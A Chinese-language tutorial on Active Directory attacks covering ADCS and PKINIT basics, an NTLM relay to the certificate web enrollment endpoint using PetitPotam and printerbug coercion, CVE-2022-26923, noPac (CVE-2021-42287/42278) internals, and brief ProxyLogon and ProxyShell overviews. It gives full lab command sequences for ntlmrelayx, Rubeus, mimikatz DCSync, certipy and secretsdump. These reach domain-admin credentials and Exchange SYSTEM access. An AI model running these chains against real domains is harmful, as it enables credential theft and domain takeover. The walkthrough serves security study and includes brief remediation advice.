用户在安装补丁后,应及时检查补丁是否成功更新。 右键点击 Windows 图标,选择“设置(N)”,选择“更新和安全”-“Windows 更新”,查看该页面上的提示信息,也可点击“查看更新历史记录”查看历史更新情况。 针对未成功安装的更新,可点击更新名称跳转到微软官方下载页面,建议用户点击该页面上的链接,转到“Microsoft 更新目录”网站下载独立程序包并安装。

  • 临时防护措施

若相关用户暂时无法进行补丁更新,可通过禁用 Print Spooler 服务来进行缓解:

ADCS 攻击

漏洞背景

2021 年 6 月 17 日,国外安全研究员 Will Schroeder 和 Lee Christensen 共同发布了针对 ADCS(Active Directory Certificate Service, 活动目录证书服务)的攻击手法。同年 8 月 5 日,在 Black Hat 2021 上 Will Schroeder 和 Lee CHristensen 对该攻击手法进行了详细讲解。至此,ADCS 攻击第一次进入人们的视野。

2022 年 5 月 10 日,微软发布 5 月份安全补丁更新,其中 CVE-2022-26923 漏洞引起了人们的注意,这是一个域内权限提升漏洞,该漏洞允许低特权用户在安装了 ADCS 的默认活动目录环境中将权限提升为域管理员,危害极大。

基础知识

PKI

PKI(Public Key Infrastructure,公钥基础设施)是提供公钥加密和数字签名服务的系统或平台,是一个包括硬件、软件、人员、策略和规程的集合,实现基于公钥密码体制的密钥和证书的产生、管理、存储、分布和撤销等功能。企业通过采用 KPI 框架管理密钥和证书,可以建立一个安全的网络环境。

PKI 的基础技术包括公钥加密、数字签名、数据完整性机制、数字信封(混合加密)、双重数字签名等。PKI 体系能够实现的功能包括身份验证、数据完整性、数据机密性、操作的不可否认性。

微软的 ADCS 就是 PKI 的实现,ADCS 能够与现有的 ADDS 进行结合,用于身份验证、公钥加密和数字签名等。ADCS 提供所有与 PKI 相关的组件作为角色服务。每个角色服务负责证书基础架构的特定部分,同时协同以工作形成完整的解决方案。

CA

CA(Certificate Authority,证书颁发机构)是 PKI 系统的核心,其作用包括处理证书申请、证书发放、证书更新、管理已颁发的证书、吊销证书和发布证书吊销列表(CRL)等。

ADCS 中的 CA 有企业 CA 和独立 CA。企业 CA 必须是域成员,并且通常处于联机状态以颁发证书或证书策略。独立 CA 可以是成员、工作组或域。独立 CA 不需要 ADDS,并且可以在没有网络的情况下使用。但是在域中基本都是使用企业 CA,因为企业 CA 可以和 ADDS 进行结合,其信息也存储在活动目录数据库中。企业 CA 支持基于证书模块创建证书和自动注册证书。

CA 拥有公钥和私钥:

  • 私钥只有 CA 知道,私钥用于对颁发的证书进行数字签名
  • 公钥任何人都可以知道,公钥用于验证证书是否由 CA 颁发

那么,如何让客户端机器信任 CA 呢?

我们平时访问 https 类型的网站,如百度,通过查看其证书可以看到它的根 CA,并且显示此证书有效,如图所示:

图片.png

由于已经导入了我们系统信任的 CA,因此通过该根 CA 颁发的所有证书都是可信的。如图所示,可以看到我们系统信任的根 CA,百度的根 CA 为 GlobalSign Root CA。

图片.png

而在活动目录中自己搭建的 ADCS,由于安装企业根 CA 时,系统使用组策略将根 CA 添加到域内所有机器的“受信任的根证书颁发机构”中了,因此域内机器默认都信任此根 CA 颁发的证书。

如图所示,在域内机器上的“受信任的根证书颁发机构”内可以看到我们的根 CA 为 hack-ADCS-CA

图片.png

如图所示,在根 CA 颁发的证书中可以看到已经颁发的证书,以下证书应用的网站会被域内所有的机器信任。

图片.png

如图所示,在域内机器上访问 Exchange 邮箱服务,可以看到提示安全连接。但如果在域内机器访问该 Exchange 邮箱服务,会提示证书无效。

图片.png

如图所示,可以看到浏览器提示证书无效。因为域外机器并没有在“受信任的根证书颁发机构”中添加域内搭建的根 CA。

图片.png

那么如何能让域外的机器也信任域内搭建的根 CA 颁发的证书呢?很简单,就是把我们域内搭建的根 CA 的证书导入到系统中即可,操作如下:

1)访问 ADCS 证书服务器的/certsrv/certcarc.asp 路径,单击“下载 CA 证书”,如图所示:

图片.png

2)将下载的 CA 证书导入系统“受信任的根证书颁发机构”中,并选择“始终信任”选项,如图所示:

图片.png

3)使用浏览器再次再次访问 Exchange 邮箱服务,即可看到信任此证书,显示安全连接,如图所示:

图片.png

PKINIT Kerberos 认证

在之前的 Kerberos 协议篇中我们讲了在 AS-REQ 请求过程中,Kerberos 域身份认证使用的是用户 Hash 加密时间戳。而 ADCS 与 ADDS 紧密配合使用,那么自然会猜想,能否利用证书来进行 Kerberos 预身份认证呢?

答案是可以的,在 在 RFC4556 Public Key Cryptography for Initial Authentication in Kerberos (PKINIT) 中引入了对 Kerberos 预身份验证的公钥加密技术支持,可以使用证书的密钥来进行 Kerberos 预身份认证。

如图所示,使用 Rubeus 执行如下命令用证书 administrator.pfx 进行 Kerberos 认证

Text Only
Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /domain:hack.com /dc:DC.hack.com

图片.png

在认证过程中使用 wireshark 抓包。如图所示,可以看到在 AS-REQ 请求包的预认证字段为 pA-PK-AS-REQ。在这个阶段,客户端发送包含证书内容的请求包,并使用证书私钥对其进行签名作为预认证数据。

图片.png

KDC 在收到客户端发来的 AS-REQ 请求包后,使用证书的公钥对签名进行校验,校验通过后发送 AS-REP 回复包,其中包含 krbtgt 加密的 TGT 和证书公钥加密的 Logon Session Key。

注意到在微软的官方文档中有这样一句话:为了支持连接到不支持 Kerberos 身份验证的网络服务的应用程序 NTLM 的身份验证,当使用 PKCA 时,KDC 将在 PAC 特权属性证书的 PAC_CREDENTIAL_INFO 缓冲区中返回用户的 NTLM Hash。

也就是说当使用证书进行 Kerberos 认证时,返回的票据的 PAC 中是包含用户的 NTLM Hash 的。

如图所示,使用 kekeo 执行如下命令获得 administrator.pfx 证书对应的 administrator 用户的 NTLM Hash。

Text Only
tgt::pac /subject:administrator /castore:current_user /domain:域名 /user:administrator /cred

图片.png

后续无论 administrator 用户密码怎么更改,使用 administrator.pfx 证书获取的 administrator 用户的 NTLM Hash 都是最新的,因此,可以利用这一点进行权限维持。

注意:使用 kekeo 获取证书对应用户的 NTLM Hash 时,需要先将证书导入到系统中。

用户模板

用户模板是默认的证书模板。如图所示,可以看到其扩展属性里有客户端身份验证,因此用户模板申请的证书可以用于 Kerberos 身份认证。如图所示可以看到默认情况下 Domain Users 都有权限注册用户模板的证书。

图片.png

图片.png

如图所示,使用 certipy 执行如下命令以普通用户 hack 权限申请注册一个用户模板的证书。

Text Only
certipy req -dc-ip 192.168.41.10 -u hack@hack.com -p Admin123 -target 192.168.41.60 -ca hack-SEVER2016-CA -template User -debug

图片.png

计算机模板

计算机模板是默认的证书模板。如图所示,可以看到其扩展属性里有客户端身份验证,因此计算机模板申请的证书可以用于 Kerberos 身份认证。

图片.png

如图所示,可以看到默认情况下 Domain Computers 都有权限注册计算机模板的证书。

图片.png

如图所示,使用 certipy 执行如下命令以普通机器用户 machine$权限申请注册一个计算机模板的证书。

Text Only
certipy req -u 'machine$'@hack.com -p pzxx2NLn8mvEQ9Zk -target 192.168.41.60 -ca hack-SEVER2016-CA -template  Machine

图片.png

导出证书

在某些场景下,我们需要导出的证书来运行一些的操作。在导出证书前,需要先查看证书的 Hash。因此需要先查看证书的信息。如下的命令可用于查看用户证书和机器证书的信息。

Text Only
#查看用户证书
certutil -user -store My
#查看机器证书
certutil -store My

如图所示,查看用户证书时,需要记住证书信息中的 Cert Hash(sha1)的内容。

图片.png

然后执行如下的命令导出证书

Text Only
#导出用户证书
certutil -user -store My 证书的hash C:\user.cer
#导出包含公私钥的用户证书,会要求输入密码
certutil -user -exportPFX 证书的hash C:\user.pfx
#导出机器证书
certutil -store My 证书的hash C:\machine.cer
#导出包含公私钥的机器证书,会要求输入密码
certutil -exportPFX 证书的hash C:\machine.pfx

如图所示,导出包含公私钥的用户证书,在这个过程中会要求输入密码,密码可以任意设置。后续将这个证书导入系统的时候会要求输入该密码。

图片.png

由于有些证书模板设置了私钥不允许导出,如域控证书模板,因此使用该命令导出包含公钥私钥的证书时会失败,如图所示:

图片.png

图片.png

针对不允许导出私钥的证书,如域控证书模板,可以使用 mimikatz 执行如下的命令,结果如图所示:

Text Only
mimikatz.exe
crypto::capi
crypto::certificates /systemstore:local_machine /store:my /export

图片.png

ADCS 的安全问题

Web 证书注册接口 NTLM Realy 攻击

漏洞原理

该漏洞产生的主要原因是 ADCS 支持 Web 注册,也就是 ADCS 服务在安装的时候勾选了“证书颁发机构 Web 注册”选项,导致用户可以通过 Web 来申请注册证书。而 Web 接口默认只允许 NTLM 身份认证,如图所示:

图片.png

由于 HTTP 类型的 NTLM 流量默认是不签名的,因此造成了 NTLM Realy 的攻击。攻击者可以利用 Print Spooler 漏洞或 Petitpotam 漏洞触发目标机器 SMB 类型的 NTLM 流量回连攻击机器,然后再将这个 SMB 类型的 NTLM 流量中继给 Web 注册证书接口以目标机器权限申请一个证书。攻击者拿到该证书后就可以以目标机器权限进行 Kerberos 身份认证了。

漏洞复现

以下演示通过 NTLM Relay 攻击如下不同的目标:

  • 域控
  • Exchange 邮箱服务器
  • 域内普通机器

为什么要选这三种机器呢? 由于使用了 Print Spooler 漏洞或者 PetitPotam 漏洞触发的都是目标机器账户的 Hash,因此其通过 NTLM 中继到证书注册接口请求的证书也是机器账户的,而这三种机器账户的权限各有不同:

  • 域控的机器账户拥有 DCSync 权限,可以导出域内任意用户的 Hash
  • Exchange 邮箱服务器的机器账户可以直接用于远程登录连接
  • 域内普通机器账户可以结合基于资源的约束性委派进行利用,获得最高权限

实验环境如下:

  • 域控 DC(同时也是证书服务器):192.168.41.10
  • 域控 DC2:192.168.41.40
  • 邮箱服务器 Exchange:192.168.41.50
  • 域内普通机器 Server2016:当前登录域普通用户 hack\hack,IP:192.168.41.60
  • 域内普通机器 Win10:192.168.41.15
  • 安全研究员机器:192.168.41.19

首先定位域内证书服务器。执行如下的命令定位证书服务器,如图所示,可以看到定位到的证书服务器为 DC.hack.com。

Text Only
certutil -config - -ping

图片.png

以下演示通过 NTLM Relay+ADCS+PetitPotam/Print Spooler 对域控进行利用。

首先在安全研究员的机器中执行如下的命令进行监听:

Text Only
python3 ntlmrelayx.py -t http://192.168.41.10/certsrv/certfnsh.asp -smb2support --adcs --template 'domain controller'

图片.png

接着使用 Print Spooler 或 PetitPotam 漏洞触发域控对 DC2 回连安全研究员的机器,如图所示,使用 Print Spooler 漏洞触发。

Text Only
#使用PetitPotam漏洞触发
python3 PetitPotam.py -d hack.com -u hack -p Admin123 192.168.41.19 192.168.41.40
#使用Print Spooler漏洞触发
python3 printerbug.py hack/hack:Admin123@192.168.41.40 192.168.41.19 

图片.png

攻击完成之后,就可以看到安全研究员的机器已经收到了域控 DC2 连接过来的 NTLM 流量并成功中继到了证书服务器。

图片.png

如图所示,可以看到成功打印出域控 DC2 base64 格式的证书了

注意:如果打印出多个证书,随便选择一个即可

然后再域内普通机器 Server2016 上使用 Rubeus 执行如下的命令,以 DC$的身份,证书为凭据,请求 TGT 导入当前的内存中,并生成 ticket.kirbi 的 TGT。

Text Only
Rubeus.exe asktgt /user:DC2$ /ptt /nowrap /outfile:ticket.kirbi /certificate:打印出的的base64格式的证书

图片.png

票据导入内存中,就可以通过 mimikatz 运行如下的命令使用 DCSync 功能导出域内任意用户的 Hash 了。

Text Only
mimikatz.exe "lsadump::dcsync /domain:hack.com /user:krbtgt /csv" "exit"

如图所示,可以看到请求的票据前无法通过 mimikatz 的 DCSync 功能导出域内的任意用户的 Hash,请求票据成功后,导出成功。

图片.png

攻击 Exchange 邮箱服务器

以下演示通过 NTLM Relay+ADCS+PetitPotam/Print Spooler 对 Exchange 邮箱服务器进行利用。

首先再安全研究员的机器中执行如下的命令进行监听:

Text Only
python3 ntlmrelayx.py -t http://192.168.41.10/certsrv/certfnsh.asp -smb2support --adcs

图片.png

接着使用 PetitPotam/Print Spooler 漏洞触发 Exchange 邮箱服务器 Exchange 回连安全研究员的机器。

Text Only
#使用PetitPotam漏洞触发
pyhon3 PetitPotam.py -d hack.com -p Admin123 192.168.41.19 192.168.41.50
#使用Print Spooler漏洞触发
python3 printerbug.py hack/hack:Admin123@192.168.41.50 192.168.41.19 

图片.png

利用完成之后,就可以看到安全研究员的机器收到了 Exchange 邮箱服务 Exchange 连接过来的 NTLM 流量并成功中继给了证书服务器。

如图所示,可以看到成功打印出 Exchange 邮箱服务器 Exchange 的 base64 格式的证书了。

图片.png

接着再域内普通机器 Server2016 上使用 Rubeus 运行如下的命令,以 Exchange$的身份,证书为凭据,请求 TGT 导入当前的内存中,并生成 ticket.kirbi 的 TGT。

Text Only
Rubeus.exe asktgt /user:Exchange$ /ptt /nowrap /outfile:ticket.kirbi /certificate:打印出的的base64格式的证书

图片.png

票据导入内存中,就可以通过 psexec.exe 执行如下的命令远程连接 Exchange 邮箱服务器 Exchange 了,如图所示,成功获得 Exchange 邮箱服务器 Exchange 的 System 权限。

Text Only
PsExec.exe \\Exchange -s cmd.exe

图片.png

攻击域内普通机器

以下演示通过 NTLM Relay+ADCS+PetitPotam/Print Spooler+基于资源的约束性委派对域内普通机器进行利用。

首先在安全研究员的机器中执行如下的命令进行监听:

Text Only
python3 ntlmrelayx.py -t http://192.168.41.10/certsrv/certfnsh.asp -smb2support --adcs

图片.png

接着使用 PetitPotam/Print Spooler 漏洞触发域内普通机器 Win10 回连安全研究员的机器。

Text Only
#使用PetitPotam漏洞触发
pyhon3 PetitPotam.py -d hack.com -p Admin123 192.168.41.19 192.168.41.15
#使用Print Spooler漏洞触发
python3 printerbug.py hack/hack:Admin123@192.168.41.15 192.168.41.19 

图片.png

利用完成之后,就可以看到安全研究员的机器收到了域内普通机器 Win10 连接过来的 NTLM 流量并成功中继给了证书服务器。

如图所示,可以看到成功打印出域内普通机器的 Win10 的 base64 格式证书了。

图片.png

接着在域内普通机器 Server2016 上使用 Rubeus 运行如下的命令,以 Win10$的身份,证书为凭据,请求 TGT 导入当前的内存中,并生成 ticket.kirbi 的 TGT。

Text Only
Rubeus.exe asktgt /user:Win10$ /ptt /nowrap /outfile:ticket.kirbi /certificate:打印出的的base64格式的证书

图片.png

票据导入内存中,就可以通过相关工具创建机器的账户,然后配置创建的机器账户到机器 Win10 的基于资源的约束性委派。

Text Only
add_rbcd_machine.exe domain=hack.com dc=DC.hack.com tm=Win10 ma=machine mp=root

如图所示,可以看到导入证书后,配置基于资源的约束性委派成功。

接着使用 Rebeus 执行如下的命令进行基于资源的约束性委派的利用,以下 administrator 的权限请求 cifs/win10.hack.com 的 ST。

Text Only
Rubeus.exe s4u /user:machine$ /rc4:329153f560eb329c0eldeea55e88ale9 /domain:hack.com /msdsspn:cifs/Win10.hack.com /impersonateuser:administrator /ptt

图片.png

如图所示,进行基于资源的约束性委派攻击后,可成功访问 Win10

图片.png

CVE-2022-26923 域内提权漏洞

漏洞原理

该漏洞产生的主要原因是 ADCS 服务器在处理计算机模板证书时是通过机器的 dNSHostName 属性来辨别用户的,而普通域用户即有权限修改它所创建的机器账户 dNSHostName 属性,因此恶意攻击者可以创建一个机器账户,然后修改它的 dNSHostName 属性为域控的 dNSHostName,然后去请求计算机模板的证书。ADCS 服务器在生成证书时会将域控的 dNSHostName 属性写入证书中。当使用进行 PKINI Kerberos 认证时,KDC 会查询活动目录中的 sAMAccountName 属性为“dNSHostName-域名+$" 的对象,此时会查询到域控,因此会以域控机器账户的权限生成 PAC 放入票据中。由于域控机器账户默认具有 DCSync 权限,因此攻击者可以通过该票据导出域内任意用户的 Hash。

机器账户请求计算机模板证书并进行 PKINI Kerberos 认证流程图如图所示:

图片.png

漏洞复现

实验环境如下:

  • 域:hack.com
  • 域控:DC(192.168.41.10)
  • ADCS 服务器(非域控,普通域内机器):Sever2016(192.168.41.60)
  • CA 名称:hack-SEVER2016-CA
  • 普通域用户:hack/hack:Admin123

首先在攻击机器配置如下 hosts

Text Only
192.168.41.10      DC.hack.com

然后执行如下的命令定位 ADCS 服务器,查询结果如图所示,主要记住 Name 和 Server 参数的值。

Text Only
#在域内的话,可以执行如下命令定位证书服务器
certutil -config - -ping
#或者下面的命令,不弹框定位
certutil -dump -v

图片.png

图片.png

接着执行如下的命令利用用户 hack 远程创建机器账户 machine,并且设置其 dnsHostname 属性为 DC.hack.com,执行结果如图所示:

Text Only
certipy account create -u hack@DC.hack.com -p Admin123 -dc-ip 192.168.41.10 -user "machine" -dns "DC.hack.com" -debug

图片.png

可以从图中看出我们所创建的机器账户密码为 ckHKXHOMLQEA0fSq

在执行如下的命令以 machine \(身份请求一个Machine类型的证书,执行结果如图所示,由于机器账户的machine\) 的 dnsHostname 已经设置为 DC.hack.com, 因此返回的是以域控 DC 身份请求的证书 dc.pfx

Text Only
certipy req -u 'machine$'@hack.com -p ckHKXHOMLQEA0fSq -target 192.168.41.60 -ca hack-SEVER2016-CA -template  Machine

图片.png

最后执行如下的命令用 dc.pfx 证书进行 Kerberos 认证,从返回的票据 PAC 中得到域控 DC 机器的账户的 NTLM Hash,如图所示:

Text Only
certipy auth -pfx dc.pfx -dc-ip 192.168.41.10 -debug

图片.png

由于域控机器账户默认再域内 DCSync 权限,因此可以到处任意账户的 NTLM Hash。如图所示,可以导出域内管理员的 administration 的 NTLM Hash。

Text Only
python3 secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:209366c6c5292a7a6f3add57ad356ee5 "hack/DC\$@192.168.41.10" -just-dc-user administrator

图片.png

漏洞预防和修复

对于防守方或蓝队来说,如何针对 ADCS 相关漏洞进行预防和修复呢?企业人员可先查看企业内网域内网环境是否存在 ADCS,如不存在则不影响,如果企业内网域内环境存在 ADCS,则查看是否开启了证书颁发机构 Web 的功能,如果开启了该功能,则查看该功能是否有必要。如无必要,关闭即可。如未开启,则不受影响。同时,对域环境进行及时补丁更新以修补 CVE-2022-26923 漏洞。

CVE-2021-42287

漏洞描述

2021年11月9日,微软发布11月份安全补丁更新。在该安全补丁更新中,修复了两个域内提权漏洞CVE-2021-42287/CVE-2021-42278。但是当时这两个漏洞的利用详情和POC并未公布出来,因此并未受到太多人关注。

img

img

传送门:

https://msrc.microsoft.com/update-guide/zh-cn/vulnerability/CVE-2021-42278

https://msrc.microsoft.com/update-guide/zh-cn/vulnerability/CVE-2021-42287

一个月后的12.10日,国外安全研究员公布了针对CVE-2021-42287/CVE-2021-42278的漏洞细节,并且exp也很快被放出来了。至此,这个最新的域内提权漏洞才受到大家的广泛关注,该漏洞被命名为saMAccountName spoofing漏洞。该漏洞允许攻击者在仅有一个普通域账号的场景下,利用该漏洞接管全域,危害极大。

如下图,一条命令即可获得域控的最高权限!

img

影响版本

  • 未打补丁的全版本Windows机器

漏洞核心点

通过查看网上泄露的xp源代码中关于kerberos的处理流程,我们可以清楚的看到漏洞产生的真正核心原因是在处理UserName字段时的错误,如下图代码:

首先,如果找不到 UserName 的话,KDC会继续查找 UserName$ 。

img

如果还是查找不到的话,KDC会继续查找altSecurityIdentities属性的值的用户。

img

正是因为这个处理逻辑,导致了漏洞的产生!但是光有这个处理逻辑还是不够形成一个完整的攻击链。还得找到能触发这个的点,那么如何能让KDC找不到之前的用户呢?这里有两种方式:

  • 跨域请求:跨域请求时,目标域活动目录数据库是找不到其他域的用户的,因此会走进这个处理UserName的逻辑。
  • 修改saMAccountName属性:在当前域,可以通过修改saMAccountName属性让KDC找不到用户,然后走进这个处理UserName的逻辑。

但是这还是不够,仅仅让KDC走进这个处理UserName的逻辑,还不能伪造高权限。因为票据中代表用户身份权限是数据块是PAC。而TGT认购权证中的PAC是根据预认证身份信息生成的,这个我们无法伪造。因此得想办法在ST服务票据中进行伪造。而正常的ST服务票据中的PAC是直接拷贝TGT认购权证中的。因此,得想办法让KDC在TGS-REP的时候重新生成PAC,而不是拷贝TGT票据中的PAC。这里也有两种方式:

  • S4U2Self请求:KDC在处理S4U2Self类型的TGS-REQ请求时,PAC是重新生成的。
  • 跨域无PAC的TGT票据进行TGS请求:KDC在处理跨域的TGS-REQ请求时,如果携带的TGT认购权证中没有PAC,PAC会重新生成。

好了,现在有了一个完整的攻击链了!

接下来让我们来看看什么是PAC?以及S4U2Self请求和跨域无PAC的TGT票据的TGS请求时PAC的处理。

PAC特权属性证书

PAC (Privilege Attribute Certificate,特权属性证书),其中所包含的是各种授权信息,例如用户RID,所属组的RID等。在最初的RFC1510中规定的标准Kerberos认证过程中并没有PAC,微软在自己的产品中所实现的Kerberos流程加入了PAC的概念,因为在域中不同权限的用户能够访问的资源是不同的,因此微软设计PAC用来辨别用户身份和权限。

PAC结构

PAC的顶部结构如下:

C
typedef unsigned long ULONG;
typedef unsigned short USHORT;
typedef unsigned long64 ULONG64;
typedef unsigned char UCHAR;

typedef struct _PACTYPE {
    ULONG cBuffers;
    ULONG Version;             
    PAC_INFO_BUFFER Buffers[1];
} PACTYPE;

这些顶部字段的定义如下:

- cBuffers:包含数组缓冲区中的条目数。 - Version:版本

- Buffers:包含一个PAC_INFO_BUFFER结构的数组。

img

而PAC_INFO_BUFFER结构包含了关于PAC的每个部分的信息,这部分是最重要的,结构如下:

C
typedef struct _PAC_INFO_BUFFER {
    ULONG ulType;
    ULONG cbBufferSize;
    ULONG64 Offset;
} PAC_INFO_BUFFER;

类型字段的定义如下:

- ulType:包含此缓冲区中包含的数据的类型。它可能是以下之一:

Text Only
- Logon Info (1)
- Client Info Type(10)

- UPN DNS Info (12)
- Sserver Cechksum (6)

- Privsvr Cechksum (7)

- cbBufferSize:缓冲大小
- Offset:缓冲偏移量

如下图:

img

PAC凭证信息

LOGON INFO类型的PAC_LOGON_INFO包含Kerberos票据客户端的凭据信息。数据本身包含在一个KERB_VALIDATION_INFO结构中,该结构是由NDR编码的。NDR编码的输出被放置在LOGON INFO类型的PAC_INFO_BUFFER结构中。如下:

C
typedef struct _KERB_VALIDATION_INFO {
    FILETIME Reserved0;
    FILETIME Reserved1;
    FILETIME KickOffTime;
    FILETIME Reserved2;
    FILETIME Reserved3;
    FILETIME Reserved4;
    UNICODE_STRING Reserved5;
    UNICODE_STRING Reserved6;
    UNICODE_STRING Reserved7;
    UNICODE_STRING Reserved8;
    UNICODE_STRING Reserved9;
    UNICODE_STRING Reserved10;
    USHORT Reserved11;
    USHORT Reserved12;
    ULONG UserId;
    ULONG PrimaryGroupId;
    ULONG GroupCount;
    [size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds;
    ULONG UserFlags;
    ULONG Reserved13[4];
    UNICODE_STRING Reserved14;
    UNICODE_STRING Reserved15;
    PSID LogonDomainId;
    ULONG Reserved16[2];
    ULONG Reserved17;
    ULONG Reserved18[7];
    ULONG SidCount;
    [size_is(SidCount)] PKERB_SID_AND_ATTRIBUTES ExtraSids;
    PSID ResourceGroupDomainSid;
    ULONG ResourceGroupCount;
    [size_is(ResourceGroupCount)] PGROUP_MEMBERSHIP ResourceGroupIds;
} KERB_VALIDATION_INFO;

如下图,主要还是关注以下几个字段:

- Acct Name:该字段对应的值是用户sAMAccountName属性的值 - Full Name:该字段对应的值是用户displayName属性的值

- User RID:该字段对应的值是用户的RID,也就是用户SID的最后部分 - Group RID:对于该字段,域用户的Group RID恒为513(也就是Domain Users的RID),机器用户的Group RID恒为515(也就是Domain Computers的RID)

- Num RIDS:用户所属组的个数 - GroupIDS:用户所属的所有组的RID

img

PAC Request Pre-Auth Data

通常,PAC包含在从AS请求收到的每个经过预认证的票据中。然而,客户端也可以明确地请求包括或不包括PAC。这是通过发送PAC请求预审数据来完成的。

Go
KERB-PA-PAC-REQUEST   ::= SEQUENCE {
    include-pac[0] BOOLEAN -- if TRUE, and no pac present,
    -- include PAC.
    ---If FALSE, and pac
    -- PAC present, remove PAC
}

这个字段表示是否应该包含一个PAC。如果该值为TRUE,则返回的票据中包含PAC。如果该值为FALSE,则返回的票据中不包含PAC。

也就是说,客户端确实可以通过指定字段来值来要求KDC在返回的票据中是否包含PAC。

Kerberos中的PAC认证

在一个正常的Kerberos认证流程中,KDC返回的TGT认购权证和ST服务票据中都是带有PAC的。如下图是AS-REQ&AS-REP过程,可以清楚的看到,KDC的AS-REP消息中,PAC是包含在TGT认购权证中的。

img

那么,TGT认购权证中这个PAC是如何生成的呢?

KDC在收到客户端发来的AS-REQ请求后,从请求中取出cname字段,然后查询活动目录数据库,找到sAMAccountName属性为cname字段的值的用户,用该用户的身份生成一个对应的PAC。

接下来,在TGS-REQ&TGS-REP请求ST服务票据的过程中,客户端带着上一步请求到的TGT认购权证请求访问指定服务的ST服务票据。KDC在验证客户端的身份后,会返回ST服务票据。如下图是TGS-REQ&TGS-REP过程,可以清楚的看到,KDC的TGS-REP消息中,PAC是包含在ST服务票据中的。

img

那么,ST服务票据中这个PAC是如何生成的呢?

KDC收到TGT认购权证后,利用krbtgt密钥对其解密,然后取出PAC。然后验证PAC的签名,如果签名正确,则证明PAC未经过篡改。然后将TGT认购权证中的PAC直接拷贝到ST服务票据中。也就是说,ST服务票据中的PAC和TGT认购权证中的PAC是一致的。(但是这只是正常的TGS-REQ请求,如果是S4u2Self&S4u2Proxy请求的话,ST服务票据中的PAC是重新生成的,请看下文)

这个流程我们可以从网上泄露的xp源代码中看到:

img

当然,如果TGT认购权证中没有PAC的话,KDC在拷贝PAC的时候,也是拷贝的空的,这就意味着ST服务票据中也没有PAC!

后续服务端收到客户端发来的ST服务票据后,会用服务密钥对其进行解密,取出PAC里面关于用户的信息生成对应权限的访问令牌,然后对比服务的ACL进行鉴权。有权限访问的话,则返回该服务。无权限访问的话,则不返回服务。

KDC收到S4u2self TGS-REQ后PAC的处理

为了在Kerberos协议层面对委派的支持,微软对Kerberos协议扩展了两个自协议 S4u2self(Service for User to Self) 和 S4u2Proxy (Service for User to Proxy )。S4u2self 可以代表任意用户请求针对自身的ST服务票据;S4u2Proxy可以用上一步获得的ST服务票据以用户的名义请求针对其它指定服务的ST服务票据。这里我们着重来看看S4u2self协议。

S4u2self 可以代表任意用户请求针对自身的ST服务票据。当用户以其他方式:如NTLM认证、基于表单的认证等方式与Web服务进行认证后,用户是无法向Web服务器提供请求该服务的ST服务票据。因而服务器也无法进一步使用S4U2Proxy协议请求访问其他服务。S4U2Self协议便是解决该问题的方案,被配置为约束性委派的服务账号能够调用S4U2Self协议向KDC申请为任意用户请求访问自身的ST服务票据。

KDC收到客户端发来的TGS-REQ S4U2Self协议,在验证了客户端是否具有发起S4U2Self协议权限后,会根据S4U2Self协议中模拟的用户生成对于权限的PAC,然后放在ST服务票据中,并不会复用TGT认购权证中的PAC!

img

跨域TGS请求

通过查看网上泄露的xp源代码可以看到如下。如果请求的TGT票据没有PAC的话,如果是当前域的请求,则ST服务票据也没有PAC。如果是其他域的话,则会重新生成一个PAC!

img

实验复现

参考文章:https://www.freebuf.com/vuls/317773.html

原理总结

首先,这个洞最深层次的原因是KDC在处理UserName字段时的问题,而后结合两种攻击链针对域内和跨域进行攻击。

- 当针对域内攻击时,结合了CVE-2021-42278漏洞来修改机器用户的saMAccountName属性,让KDC找不到用户,走进处理UserName的逻辑。 然后再利用KDC在处理S4U2Self时的逻辑问题(不校验发起S4U2Self请求的用户是否具有权限发起S4U2Self请求)以及重新生成PAC的这一特性来进行攻击。 - 当针对跨域攻击时,其实意义不大。因为需要修改其他域内高权限用户的altSecurityIdentities属性,而默认是没有权限修改的,只有根域管理员或者其他域的域管理员才有权限修改。当跨域TGS请求时,目标域控在活动目录数据库内是找不到其他域的用户的,因此走进处理UserName的逻辑。然后再利用跨域TGS-REQ请求时的处理逻辑(如果TGT票据中没有PAC,则重新生成)这一特性来进行攻击的。

综上所述,这个洞刚开始叫nopac其实就是针对跨域时的攻击,实战意义不大。针对域内攻击更有效,下图是域内攻击链的逻辑处理图:

img

Exchange ProxyLogon 攻击利用链

漏洞描述

在今年3月份,微软公布了多个Microsoft Exchange的高危漏洞,通过组合利用这些漏洞可以在未经身份验证的情况下远程获取服务器权限。这套组合拳被称为ProxyLogon。安全研究员Orange Tsai于2020年底发现该系列漏洞并命名。ProxyLogon是Exchange历史上最具影响力的漏洞之一,有上千台Exchange服务器被植入了webshell后门。

CVE-2021-26855是一个SSRF漏洞,利用该漏洞可以绕过Exchange的身份验证,CVE-2021-27065是一个文件写入漏洞。二者结合可以在未登录的状态下写入webshell。

影响范围

  • Exchange Server 2019 < 15.02.0792.010
  • Exchange Server 2019 < 15.02.0721.013
  • Exchange Server 2016 < 15.01.2106.013
  • Exchange Server 2013 < 15.00.1497.012

参考文章:

https://www.cnblogs.com/zpchcbd/p/17175177.html

https://www.anquanke.com/post/id/259902#h2-8

Exchange ProxyShell 攻击利用链

漏洞描述

ProxyShell是利用了Exchange服务器对于路径的不准确过滤导致的路径混淆生成的SSRF,进而使攻击者通过访问PowerShell端点。而在PowerShell端点可以利用Remote PowerShell来将邮件信息打包到外部文件,而攻击者可以通过构造恶意邮件内容,利用文件写入写出webshell,从而达成命令执行。

  • CVE-2021-34473 - Pre-auth Path Confusion leads to ACL Bypass
  • CVE-2021-34523 - Elevation of Privilege on Exchange PowerShell Backend
  • CVE-2021-31207 - Post-auth Arbitrary-File-Write leads to RCE

img

影响版本

  • Microsoft Exchange Server 2019 Cumulative Update 9
  • Microsoft Exchange Server 2019 Cumulative Update 8
  • Microsoft Exchange Server 2016 Cumulative Update 20
  • Microsoft Exchange Server 2016 Cumulative Update 19
  • Microsoft Exchange Server 2016 Cumulative Update 18
  • Microsoft Exchange Server 2013 Cumulative Update 23

参考文章:

https://ruyueattention.github.io/2021/10/09/Exchange%20Proxyshell/

https://www.cnblogs.com/zpchcbd/p/17175176.html